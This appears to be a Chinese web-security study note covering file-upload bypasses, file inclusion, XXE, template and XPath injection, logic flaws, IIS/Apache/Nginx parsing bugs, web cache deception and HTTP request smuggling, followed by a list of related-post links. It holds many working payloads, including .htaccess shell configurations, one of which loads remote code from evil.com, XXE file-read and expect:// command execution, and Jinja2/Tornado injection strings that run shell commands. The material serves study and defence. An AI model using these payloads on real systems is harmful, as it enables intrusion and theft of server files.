除了这些绕过,其他的后缀同样可能带来问题,如 vbs / asis / sh / reg / cgi / exe / dll / com / bat / pl / cfc / cfm / ini 等。

4. 系统命名绕过

在Windows系统中,上传 index.php. 会重命名为 . ,可以绕过后缀检查。 也可尝试 index.php%20index.php:1.jpg index.php::$DATA 等。 在Linux系统中,可以尝试上传名为 index.php/../aa/../index.php/. 的文件

5. .user.ini

在php执行的过程中,除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER[‘DOCUMENT_ROOT’] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。 .user.ini 中可以定义除了PHP_INI_SYSTEM以外的模式的选项,故可以使用 .user.ini 加上非php后缀的文件构造一个shell,比如 auto_prepend_file=01.gif

6. WAF绕过

有的waf在编写过程中考虑到性能原因,只处理一部分数据,这时可以通过加入大量垃圾数据来绕过其处理函数。

另外,Waf和Web系统对 boundary 的处理不一致,可以使用错误的 boundary 来完成绕过。

7. 竞争上传绕过

有的服务器采用了先保存,再删除不合法文件的方式,在这种服务器中,可以反复上传一个会生成Web Shell的文件并尝试访问,多次之后即可获得Shell。

4.8.2 攻击技巧

1. Apache重写GetShell

Apache可根据是否允许重定向考虑上传.htaccess

内容为

AddType application/x-httpd-php .png
php_flag engine 1

就可以用png或者其他后缀的文件做php脚本了。

2. 软链接任意读文件

上传的压缩包文件会被解压的文件时,可以考虑上传含符号链接的文件 若服务器没有做好防护,可实现任意文件读取的效果。

4.8.3 防护技巧

  • 使用白名单限制上传文件的类型
  • 使用更严格的文件类型检查方式
  • 限制Web Server对上传文件夹的解析

4.8.4 参考链接

  • 构造优质上传漏洞Fuzz字典

4.9 文件包含

4.9.1 基础

常见的文件包含漏洞的形式为<?php include("inc/" . $_GET['file']); ?>

考虑常用的几种包含方式为:

  • 同目录包含 file=.htaccess
  • 目录遍历 ?file=../../../../../../../../../var/lib/locate.db
  • 日志注入 ?file=../../../../../../../../../var/log/apache/error.log
  • 利用 /proc/self/environ

其中日志可以使用SSH日志或者Web日志等多种日志来源测试

4.9.2 触发Sink

1. PHP

  • include

    • 在包含过程中出错会报错,不影响执行后续语句
  • include_once

    • 仅包含一次
  • require

    • 在包含过程中出错,就会直接退出,不执行后续语句
  • require_once

4.9.3 绕过技巧

常见的应用在文件包含之前,可能会调用函数对其进行判断,一般有如下几种绕过方式

1. url编码绕过

如果WAF中是字符串匹配,可以使用url多次编码的方式可以绕过

2. 特殊字符绕过

  • 某些情况下,读文件支持使用Shell通配符,如 ? *
  • url中 使用 ? # 可能会影响include包含的结果
  • 某些情况下,unicode编码不同但是字形相近的字符有同一个效果

3. %00截断

几乎是最常用的方法,条件是magic_quotes_gpc打开,而且php版本小于5.3.4

4. 长度截断

Windows上的文件名长度和文件路径有关。具体关系为:从根目录计算,文件路径长度最长为259个bytes。

msdn定义 #define MAX_PATH 260,其中第260个字符为字符串结尾的 \0 ,而linux可以用getconf来判断文件名长度限制和文件路径长度限制。

获取最长文件路径长度:getconf PATH_MAX /root 得到4096 获取最长文件名:getconf NAME_MAX /root 得到255

那么在长度有限的时候,././././ (n个) 的形式就可以通过这个把路径爆掉

在php代码包含中,这种绕过方式要求php版本 < php 5.2.8

5. 伪协议绕过

  • 远程包含:要求 allow_url_fopen=Onallow_url_include=On , payload为 ?file=[http|https|ftp]://websec.wordpress.com/shell.txt 的形式
  • PHP input:把payload放在POST参数中作为包含的文件,要求 allow_url_include=On ,payload为 ?file=php://input 的形式
  • Base64:使用Base64伪协议读取文件,payload为 ?file=php://filter/convert.base64-encode/resource=index.php 的形式
  • data:使用data伪协议读取文件,payload为 ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= 的形式,要求 allow_url_include=On

6. 协议绕过

allow_url_fopenallow_url_include 主要是针对 http ftp 两种协议起作用,因此可以使用SMB、WebDav协议等方式来绕过限制。

4.9.4 参考链接

  • Exploit with PHP Protocols
  • lfi cheat sheet

4.10 XXE

4.10.1 XML基础

XML 指可扩展标记语言(eXtensible Markup Language),是一种用于标记电子文件使其具有结构性的标记语言,被设计用来传输和存储数据。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。目前,XML文件作为配置文件(Spring、Struts2等)、文档结构说明文件(PDF、RSS等)、图片格式文件(SVG header)应用比较广泛。 XML 的语法规范由 DTD (Document Type Definition)来进行控制。

1. 基本语法

XML 文档在开头有 <?xml version="1.0" encoding="UTF-8" standalone="yes"?> 的结构,这种结构被称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,但是必须放在文档开头。

除了可选的开头外,XML 语法主要有以下的特性:

  • 所有 XML 元素都须有关闭标签
  • XML 标签对大小写敏感
  • XML 必须正确地嵌套
  • XML 文档必须有根元素
  • XML 的属性值需要加引号

另外,XML也有CDATA语法,用于处理有多个字符需要转义的情况。

2. XXE

当允许引用外部实体时,可通过构造恶意的XML内容,导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等后果。一般的XXE攻击,只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,但是也可以通过Blind XXE的方式实现攻击。

4.10.2 攻击方式

1. 拒绝服务攻击

<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">
]>
<data>&a2;</data>

若解析过程非常缓慢,则表示测试成功,目标站点可能有拒绝服务漏洞。 具体攻击可使用更多层的迭代或递归,也可引用巨大的外部实体,以实现攻击的效果。

2. 文件读取

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

3. SSRF

<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/" [
<!ELEMENT data (#ANY)>
]>
<data>4</data>

4. RCE

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog><core id="test101"><description>&xxe;</description></core>
</catalog>

5. XInclude

<?xml version='1.0'?>
<data xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://publicServer.com/file.xml"></xi:include></data>

4.10.3 参考链接

  • XML教程
  • 未知攻焉知防 XXE漏洞攻防
  • XXE 攻击笔记分享
  • 从XML相关一步一步到XXE漏洞

4.11 模版注入

4.11.1 简介

模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。

4.11.2 测试方法

  • 确定使用的引擎
  • 查看引擎相关的文档,确定其安全机制以及自带的函数和变量
  • 需找攻击面,尝试攻击

4.11.3 测试用例

  • 简单的数学表达式,{{ 7+7 }} => 14
  • 字符串表达式 {{ "ajin" }} => ajin
  • Ruby
    • <%= 7 * 7 %>
    • <%= File.open('/etc/passwd').read %>
  • Java
    • ${7*7}
  • Twig
    • {{7*7}}
  • Smarty
    • {php}echoid;{/php}
  • AngularJS
    • $eval('1+1')
  • Tornado
    • 引用模块 {% import module %}
    • => {% import os %}{{ os.popen("whoami").read() }}
  • Flask/Jinja2
    • {{ config }}
    • {{ config.items() }}
    • {{get_flashed_messages.__globals__['current_app'].config}}
    • {{''.__class__.__mro__[-1].__subclasses__()}}
    • {{ url_for.__globals__['__builtins__'].__import__('os').system('ls') }}
    • {{ request.__init__.__globals__['__builtins__'].open('/etc/passwd').read() }}
  • Django
    • {{ request }}
    • {% debug %}
    • {% load module %}
    • {% include "x.html" %}
    • {% extends "x.html" %}

4.11.4目标

  • 创建对象
  • 文件读写
  • 远程文件包含
  • 信息泄漏
  • 提权

4.11.5 相关属性

1. __class__

python中的新式类(即显示继承object对象的类)都有一个属性 __class__ 用于获取当前实例对应的类,例如 "".__class__ 就可以获取到字符串实例对应的类

2. __mro__

python中类对象的 __mro__ 属性会返回一个tuple对象,其中包含了当前类对象所有继承的基类,tuple中元素的顺序是MRO(Method Resolution Order) 寻找的顺序。

3. __globals__

保存了函数所有的所有全局变量,在利用中,可以使用 __init__ 获取对象的函数,并通过 __globals__ 获取 file os 等模块以进行下一步的利用

4. __subclasses__()

python的新式类都保留了它所有的子类的引用,__subclasses__() 这个方法返回了类的所有存活的子类的引用(是类对象引用,不是实例)。

因为python中的类都是继承object的,所以只要调用object类对象的 __subclasses__() 方法就可以获取想要的类的对象。

4.11.6 常见Payload

  • ().__class__.__bases__[0].__subclasses__()[40](r'/etc/passwd').read()
  • ().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /").read()' )

4.11.7 绕过技巧

1. 字符串拼接

request['__cl'+'ass__'].__base__.__base__.__base__['__subcla'+'sses__']()[60]

2. 使用参数绕过

params = {'clas': '__class__','mr': '__mro__','subc': '__subclasses__'
}
data = {"data": "{{''[request.args.clas][request.args.mr][1][request.args.subc]()}}"
}
r = requests.post(url, params=params, data=data)
print(r.text)

4.11.8 参考链接

  • 服务端模版注入
  • 用Python特性任意代码执行

4.12 Xpath注入

4.12.1 Xpath 定义

XPath注入攻击是指利用XPath解析器的松散输入和容错特性,能够在 URL、表单或其它信息上附带恶意的XPath 查询代码,以获得权限信息的访问权并更改这些信息。XPath注入攻击是针对Web服务应用新的攻击方法,它允许攻击者在事先不知道XPath查询相关知识的情况下,通过XPath查询得到一个XML文档的完整内容。

4.11.2 Xpath注入攻击原理

XPath注入攻击主要是通过构建特殊的输入,这些输入往往是XPath语法中的一些组合,这些输入将作为参数传入Web 应用程序,通过执行XPath查询而执行入侵者想要的操作,下面以登录验证中的模块为例,说明 XPath注入攻击的实现原理。

在Web 应用程序的登录验证程序中,一般有用户名(username)和密码(password) 两个参数,程序会通过用户所提交输入的用户名和密码来执行授权操作。若验证数据存放在XML文件中,其原理是通过查找user表中的用户名 (username)和密码(password)的结果来进行授权访问,

例存在user.xml文件如下:

<users><user><firstname>Ben</firstname><lastname>Elmore</lastname><loginID>abc</loginID><password>test123</password></user><user><firstname>Shlomy</firstname><lastname>Gantz</lastname><loginID>xyz</loginID><password>123test</password></user>

则在XPath中其典型的查询语句为: //users/user[loginID/text()='xyz'and password/text()='123test']

但是,可以采用如下的方法实施注入攻击,绕过身份验证。如果用 户传入一个 login 和 password,例如 loginID = 'xyz' 和 password = '123test' ,则该查询语句将返回 true。但如果用户传入类似 ' or 1=1 or ''=' 的值,那么该查询语句也会得到 true 返回值,因为 XPath 查询语句最终会变成如下代码://users/user[loginID/text()=''or 1=1 or ''='' and password/text()='' or 1=1 or ''='']

这个字符串会在逻辑上使查询一直返回 true 并将一直允许攻击者访问系统。攻击者可以利用 XPath 在应用程序中动态地操作 XML 文档。攻击完成登录可以再通过XPath盲入技术获取最高权限帐号和其它重要文档信息。

4.13 逻辑漏洞 / 业务漏洞

4.13.1 简介

逻辑漏洞是指由于程序逻辑不严导致一些逻辑分支处理错误造成的漏洞。

在实际开发中,因为开发者水平不一没有安全意识,而且业务发展迅速内部测试没有及时到位,所以常常会出现类似的漏洞。

4.13.2 安装逻辑

  • 查看能否绕过判定重新安装
  • 查看能否利用安装文件获取信息
  • 看能否利用更新功能获取信息

4.13.4 交易

1. 购买
  • 修改支付的价格
  • 修改支付的状态
  • 修改购买数量为负数
  • 修改金额为负数
  • 重放成功的请求
  • 并发数据库锁处理不当
2. 业务风控
  • 刷优惠券
  • 套现

4.13.5 账户

1. 注册

  • 覆盖注册
  • 尝试重复用户名
  • 注册遍历猜解已有账号

2. 密码

  • 密码未使用哈希算法保存

3. 邮箱用户名

  • 前后空格
  • 大小写变换

4. Cookie

  • 包含敏感信息
  • 未验证合法性可伪造

5. 手机号用户名

  • 前后空格
  • +86

6. 登录

  • 撞库
  • 账号劫持
  • 恶意尝试帐号密码锁死账户

7. 找回密码

  • 重置任意用户密码
  • 密码重置后新密码在返回包中
  • Token验证逻辑在前端
  • X-Forwarded-Host处理不正确

8. 修改密码

  • 越权修改密码
  • 修改密码没有旧密码验证

9. 申诉

  • 身份伪造
  • 逻辑绕过

10. 更新

  • ORM更新操作不当可更新任意字段
  • 权限限制不当可以越权修改

11. 信息查询

  • 权限限制不当可以越权查询
  • 用户信息ID可以猜测导致遍历

12. 2FA

  • 重置密码后自动登录没有2FA
  • OAuth登录没有启用2FA
  • 2FA可爆破
  • 2FA有条件竞争
  • 修改返回值绕过
  • 激活链接没有启用2FA
  • 可通过CSRF禁用2FA

4.13.5 验证码

  • 验证码可重用
  • 验证码可预测
  • 验证码强度不够
  • 验证码无时间限制或者失效时间长
  • 验证码无猜测次数限制
  • 验证码传递特殊的参数或不传递参数绕过
  • 验证码可从返回包中直接获取
  • 验证码不刷新或无效
  • 验证码数量有限
  • 验证码在数据包中返回
  • 修改Cookie绕过
  • 修改返回包绕过
  • 验证码在客户端生成或校验
  • 验证码可OCR或使用机器学习识别
  • 验证码用于手机短信/邮箱轰炸

4.13.6 Session

  • Session机制
  • Session猜测 / 爆破
  • Session伪造
  • Session泄漏
  • Session Fixation

4.13.7 越权

  • 未授权访问
  • 水平越权
    • 攻击者可以访问与他拥有相同权限的用户的资源 权限类型不变,ID改变
  • 垂直越权
    • 低级别攻击者可以访问高级别用户的资源 权限ID不变,类型改变
  • 交叉越权
    • 权限ID改变,类型改变

4.13.8 随机数安全

  • 使用不安全的随机数发生器
  • 使用时间等易猜解的因素作为随机数种子

4.13.9 其他

  • 用户/订单/优惠券等ID生成有规律,可枚举
  • 接口无权限、次数限制
  • 加密算法实现误用
  • 执行顺序
  • 敏感信息泄露

4.13.10 参考链接

  • 水平越权漏洞及其解决方案
  • 细说验证码安全 测试思路大梳理

4.14 配置安全

4.14.1 弱密码

  • 位数过低

  • 字符集小

  • 为常用密码

  • 个人信息相关

    • 手机号
    • 生日
    • 姓名
    • 用户名
  • 使用键盘模式做密码

4.14.2 敏感文件泄漏

  • .git .svn

4.14.3 数据库

  • Mongo/Redis等数据库无密码且没有限制访问

4.14.4 加密体系

  • 在客户端存储私钥

4.14.5 三方库/软件

  • 公开漏洞后没有及时更新

4.15 中间件

4.15.1 IIS

1. IIS 6.0

  • 后缀解析 /xx.asp;.jpg

    • 服务器默认不解析 ; 号及其后面的内容,相当于截断。
  • 目录解析 /xx.asp/xx.jpg (xx.asp目录下任意解析)
  • 默认解析 xx.asa xx.cer xx.cdx
  • PROPFIND 栈溢出漏洞
  • RCE CVE-2017-7269

2. IIS 7.0-7.5 / Nginx <= 0.8.37

在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,即 xx.jpg/xx.php 会被解析为php文件。

3. PUT漏洞

  • 开启WebDAV
  • 拥有来宾用户,且来宾用户拥有上传权限
  • 可任意文件上传

4. Windows特性

Windows不允许空格和点以及一些特殊字符作为结尾,创建这样的文件会自动重命名,所以可以使用 xx.php[空格]xx.php.xx.php/xx.php::$DATA 上传脚本文件。

5. 文件名猜解

在支持NTFS 8.3文件格式时,可利用短文件名猜解目录文件。其中短文件名特征如下:

  • 文件名为原文件名前6位字符加上 ~1 ,其中数字部分是递增的,如果存在前缀相同的文件,则后面的数字进行递增。
  • 后缀名不超过3位,超过部分会被截断
  • 所有小写字母均转换成大写的字母
  • 文件名后缀长度大于等于4或者总长度大于等于9时才会生成短文件名,如果包含空格或者其他部分特殊字符,则无视长度条件

IIS 8.0之前的版本支持短文件名猜测的HTTP方法主要包括:DEBUG、OPTIONS、GET、POST、HEAD、TRACE六种,需要安装ASP.NET。而IIS 8.0之后的版本只能通过OPTIONS和TRACE方法猜测成功,但是没有ASP.NET的限制。

这种方法的局限性在于:

  • 文件夹名前6位字符带点”.”,扫描程序会认为是文件而不是文件夹,最终出现误报
  • 不支持中文文件名

这种方法可以通过命令 fsutil behavior set disable8dot3 1 关闭NTFS 8.3文件格式的支持来修复。

6. 参考链接

  • 利用Windows特性高效猜测目录
  • Uploading web.config for Fun and Profit 2

4.15.2 Apache

1. 后缀解析

test.php.x1.x2.x3 ( x1,x2,x3 为没有在 mime.types 文件中定义的文件类型)。Apache 将从右往左开始判断后缀, 若x3为非可识别后缀,则判断x2,直到找到可识别后缀为止,然后对可识别后缀进行解析

2. .htaccess

当AllowOverride被启用时,上传启用解析规则的.htaccess

AddType application/x-httpd-php .jpg
php_value auto_append_file .htaccess
#<?php phpinfo();
Options ExecCGI
AddHandler cgi-script .jpg
Options +ExecCGI
AddHandler fcgid-script .gif
FcgidWrapper "/bin/bash" .gif
php_flag allow_url_include 1
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOw==
#php_value auto_append_file data://text/plain,%3C%3Fphp+phpinfo%28%29%3B
#php_value auto_append_file https://evil.com/evil-code.txt

3. 目录遍历

配置 Options +Indexes 时Apache存在目录遍历漏洞。

4. CVE-2017-15715

%0A 绕过上传黑名单。

5. lighttpd

xx.jpg/xx.php

6. 参考链接

  • Apache 上传绕过

4.15.3 Nginx

1. Fast-CGI关闭

在Fast-CGI关闭的情况下, Nginx 仍然存在解析漏洞: 在文件路径(xx.jpg)后面加上 %00.php , 即 xx.jpg%00.php 会被当做 php 文件来解析

2. Fast-CGI开启

在Fast-CGI开启状态下,在文件路径后加上 /xx.php ,则 xx.jpg/xx.php 会被解析为php文件

3. CVE-2013-4547

a.jpg\x20\x00.php

4. 配置错误

目录穿越/遍历

如果配置中存在类似 location /foo { alias /bar/; } 的配置时,/foo../ 会被解析为 /bar/../ 从而导致目录穿越的发生。

配置中 autoindex on 开启时,Nginx中存在目录遍历漏洞。

5. 参考链接

  • CVE-2013-4547 Nginx解析漏洞深入利用及分析

4.16 Web Cache欺骗攻击

4.16.1 简介

网站通常都会通过如CDN、负载均衡器、或者反向代理来实现Web缓存功能。通过缓存频繁访问的文件,降低服务器响应延迟。

例如,网站 htttp://www.example.com 配置了反向代理。对于那些包含用户个人信息的页面,如 http://www.example.com/home.php ,由于每个用户返回的内容有所不同,因此这类页面通常是动态生成,并不会在缓存服务器中进行缓存。通常缓存的主要是可公开访问的静态文件,如css文件、js文件、txt文件、图片等等。此外,很多最佳实践类的文章也建议,对于那些能公开访问的静态文件进行缓存,并且忽略HTTP缓存头。

Web cache攻击类似于RPO相对路径重写攻击,都依赖于浏览器与服务器对URL的解析方式。当访问不存在的URL时,如 http://www.example.com/home.php/non-existent.css ,浏览器发送get请求,依赖于使用的技术与配置,服务器返回了页面 http://www.example.com/home.php 的内容,同时URL地址仍然是 http://www.example.com/home.php/non-existent.css,http头的内容也与直接访问 http://www.example.com/home.php 相同,cacheing header、content-type(此处为text/html)也相同。

4.16.2 漏洞成因

当代理服务器设置为缓存静态文件并忽略这类文件的caching header时,访问 http://www.example.com/home.php/no-existent.css 时,会发生什么呢?整个响应流程如下:

  1. 浏览器请求 http://www.example.com/home.php/no-existent.css ;
  2. 服务器返回 http://www.example.com/home.php 的内容(通常来说不会缓存该页面);
  3. 响应经过代理服务器;
  4. 代理识别该文件有css后缀;
  5. 在缓存目录下,代理服务器创建目录 home.php ,将返回的内容作为 non-existent.css 保存。

4.16.3 漏洞利用

攻击者欺骗用户访问 http://www.example.com/home.php/logo.png?www.myhack58.com ,导致含有用户个人信息的页面被缓存,从而能被公开访问到。更严重的情况下,如果返回的内容包含session 标识、安全问题的答案,或者csrf token。这样攻击者能接着获得这些信息,因为通常而言大部分网站静态资源都是公开可访问的。

4.16.4 漏洞存在的条件

漏洞要存在,至少需要满足下面两个条件:

  1. web cache功能根据扩展进行保存,并忽略caching header;
  2. 当访问如 http://www.example.com/home.php/non-existent.css 不存在的页面,会返回 home.php 的内容。

4.16.5 漏洞防御

防御措施主要包括3点:

  1. 设置缓存机制,仅仅缓存http caching header允许的文件,这能从根本上杜绝该问题;
  2. 如果缓存组件提供选项,设置为根据content-type进行缓存;
  3. 访问 http://www.example.com/home.php/non-existent.css 这类不存在页面,不返回 home.php 的内容,而返回404或者302。

4.16.6 Web Cache欺骗攻击实例

1. Paypal

Paypal在未修复之前,通过该攻击,可以获取的信息包括:用户姓名、账户金额、信用卡的最后4位数、交易数据、emaill地址等信息。 受该攻击的部分页面包括:

  • https://www.paypal.com/myaccount/home/attack.css
  • https://www.paypal.com/myaccount/settings/notifications/attack.css
  • https://history.paypal.com/cgi-bin/webscr/attack.css?cmd=_history-details

4.16.7 参考链接

  • practical web cache poisoning
  • End-Users Get Maneuvered: Empirical Analysis of Redirection Hijacking in Content Delivery Networks

4.17 HTTP 请求走私

4.17.1 简介

HTTP请求走私是一种干扰网站处理HTTP请求序列方式的技术,最早在 2005 年的一篇 文章 中被提出。

4.17.2 成因

请求走私大多发生于前端服务器和后端服务器对客户端传入的数据理解不一致的情况。这是因为HTTP规范提供了两种不同的方法来指定请求的结束位置,即 Content-LengthTransfer-Encoding 标头。

4.17.3 分类

  • CLTE:前端服务器使用 Content-Length 头,后端服务器使用 Transfer-Encoding
  • TECL:前端服务器使用 Transfer-Encoding 标头,后端服务器使用 Content-Length 标头。
  • TETE:前端和后端服务器都支持 Transfer-Encoding 标头,但是可以通过以某种方式来诱导其中一个服务器不处理它。

4.17.4 攻击

1. CL不为0的GET请求

当前端服务器允许GET请求携带请求体,而后端服务器不允许GET请求携带请求体,它会直接忽略掉GET请求中的 Content-Length 头,不进行处理。例如下面这个例子:

GET / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 44\r\nGET /secret HTTP/1.1\r\n
Host: example.com\r\n
\r\n

前端服务器处理了 Content-Length ,而后端服务器没有处理 Content-Length ,基于pipeline机制认为这是两个独立的请求,就造成了漏洞的发生。

2. CL-CL

根据RFC 7230,当服务器收到的请求中包含两个 Content-Length ,而且两者的值不同时,需要返回400错误,但是有的服务器并没有严格实现这个规范。这种情况下,当前后端各取不同的 Content-Length 值时,就会出现漏洞。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Content-Length: 8\r\n
Content-Length: 7\r\n12345\r\n
a

这个例子中a就会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

3. CL-TE

CL-TE指前端服务器处理 Content-Length 这一请求头,而后端服务器遵守RFC2616的规定,忽略掉 Content-Length ,处理 Transfer-Encoding 。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Connection: keep-alive\r\n
Content-Length: 6\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
a

这个例子中a同样会被带入下一个请求,变为 aGET / HTTP/1.1\r\n

4. TE-CL

TE-CL指前端服务器处理 Transfer-Encoding 请求头,而后端服务器处理 Content-Length 请求头。例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
12\r\n
aPOST / HTTP/1.1\r\n
\r\n
0\r\n
\r\n

5. TE-TE

TE-TE指前后端服务器都处理 Transfer-Encoding 请求头,但是在容错性上表现不同,例如有的服务器可能会处理 Transfer-encoding ,测试例如:

POST / HTTP/1.1\r\n
Host: example.com\r\n
...
Content-length: 4\r\n
Transfer-Encoding: chunked\r\n
Transfer-encoding: cow\r\n
\r\n
5c\r\n
aPOST / HTTP/1.1\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

4.17.5 防御

  • 禁用后端连接重用
  • 确保连接中的所有服务器具有相同的配置
  • 拒绝有二义性的请求

4.17.6 参考链接

1. RFC

  • RFC 2616 Hypertext Transfer Protocol – HTTP/1.1
  • RFC 7230 Hypertext Transfer Protocol (HTTP/1.1): Message Syntax and Routing – HTTP/1.1

2. Blog / Whitepaper

  • HTTP Request Smuggling by chaiml
  • HTTP request smuggling by portswigger
  • 从一道题到协议层攻击之HTTP请求走私
  • HTTP Request Smuggling in 2020
  • h2c Smuggling: Request Smuggling Via HTTP/2 Cleartext (h2c)

【Web安全笔记】之【4.0 常见漏洞攻防】相关推荐

  1. BurpSuite实战教程01-web渗透安全测试(靶场搭建及常见漏洞攻防)

    渗透测试 渗透测试(Penetration test)即安全工程师模拟黑客,在合法授权范围内,通过信息搜集.漏洞挖掘.权限提升等行为,对目标对象进行安全测试(或攻击),最终找出安全风险并输出测试报告. ...

  2. 【Web安全笔记】之【7.0 防御技术】

    文章目录 7.0 防御技术 7.1 团队建设 7.1.1 人员分工 1. 部门负责人 2. 合规管理员 3. 安全技术负责人 4. 渗透/代码审计人员 5. 安全设备运维人员 6. 安全开发 7.1. ...

  3. Web安全常见漏洞原理、危害及其修复建议

    web安全常见漏洞原理.危害及其修复建议 一. SQL注入漏洞 原理 危害 修复建议 二.XSS漏洞 原理 危害 修复建议 三. CSRF漏洞 原理 危害 修复建议 四. SSRF漏洞 原理 危害 预 ...

  4. Web漏洞—常见漏洞分类总览(持续更新)

    提要:旨在记录学习的过程,总结漏洞学体系,便于进行漏洞原理学习. Web常见漏洞分类总览: 一:按照漏洞所属类型来区分: 1,客户端漏洞: XSS(跨站脚本攻击) CSRF(跨站请求伪造) XXE(X ...

  5. 常见漏洞扫描工具AWVS、AppScan、Nessus的使用

    HVV笔记--常见漏洞扫描工具AWVS.AppScan.Nessus的使用 1 AWVS 1.1 安装部署 1.2 激活 1.3 登录 1.4 扫描web应用程序 1.4.1 需要账户密码登录的扫描 ...

  6. php进攻教程,如何对PHP程序中的常见漏洞进行攻击(下)_php基

    如何对PHP程序中的常见漏洞进行攻击(下)_php基 发布时间:2016-06-17 来源: 点击: 次 如何对PHP程序中的常见漏洞进行攻击(下) 翻译:analysist(分析家) 来源:http ...

  7. android WebView详解,常见漏洞详解和安全源码(下)

    上篇博客主要分析了 WebView 的详细使用,这篇来分析 WebView 的常见漏洞和使用的坑.  上篇:android WebView详解,常见漏洞详解和安全源码(上)  转载请注明出处:http ...

  8. Android常见漏洞

    Android常见漏洞 漏洞名称: Log敏感信息泄露 漏洞描述: 程序运行期间打印了用户的敏感信息,造成泄露 修改建议: 建议禁止隐私信息的log 漏洞名称: web https校验错误忽略漏洞 漏 ...

  9. Kali Linux Web 渗透测试秘籍 第四章 漏洞发现

    第四章 漏洞发现 作者:Gilberto Najera-Gutierrez 译者:飞龙 协议:CC BY-NC-SA 4.0 简介 我们现在已经完成了渗透测试的侦查阶段,并且识别了应用所使用的服务器和 ...

最新文章

  1. ASP.NET Web页面(.aspx)添加用户控件(.ascx)无显示的问题
  2. ffmpeg mp4 提取h265命令行_安装FFmpeg多媒体库,以及命令行程序使用介绍
  3. CodeForces - 1480C Searching Local Minimum(交互+二分)
  4. Golang cgo编程 [] string 转 C语言 char**
  5. 字符串函数参数传入传出(字符串反转)
  6. 金融学python还是c语言_金融矿工(Quant)必须会写哪些编程语言?Python和C++就够了吗?...
  7. mongodb-Configuration
  8. shell :将标准输出及标准错误输出写到指定文件
  9. 一个基于jquery的周日历,简单易懂
  10. IC学习笔记9——多比特信号的跨时钟域处理方法之“MUX/DMUX同步器”
  11. 杂谈 跟编程无关的事情10
  12. Smartbi电子表格创建查询条件
  13. 将简体字转换成繁体字
  14. matlab提取图像特征程序,图像特征提取matlab程序
  15. 基于规则的语音合成中文文本前端设计【2】
  16. “钱多多”软件用户调查问卷的调查报告
  17. Spring MVC的请求处理流程
  18. 80后青海“拉面王子”的一碗“致富面”
  19. Python系列 之 matplotlib库 基础知识
  20. Git步步进阶---实战git的windows安装和使用

热门文章

  1. Http 状态码详解之304、403、503
  2. C++ 析构函数何时被调用?
  3. linux悬镜服务器登陆失败,悬镜服务器卫士问题整理汇总
  4. ChatGPT镜像站点列表
  5. html清除文本框储存记录值,如何清除edge浏览器中已保存的表单数据
  6. 6条引用参考文献的正确姿势
  7. 用图技术搞定附近好友、时空交集等 7 个典型社交网络应用
  8. zypper命令使用示例
  9. 实验三 顺序图、协作图设计
  10. 【ARMv8基础篇】异常分类以及异常处理机制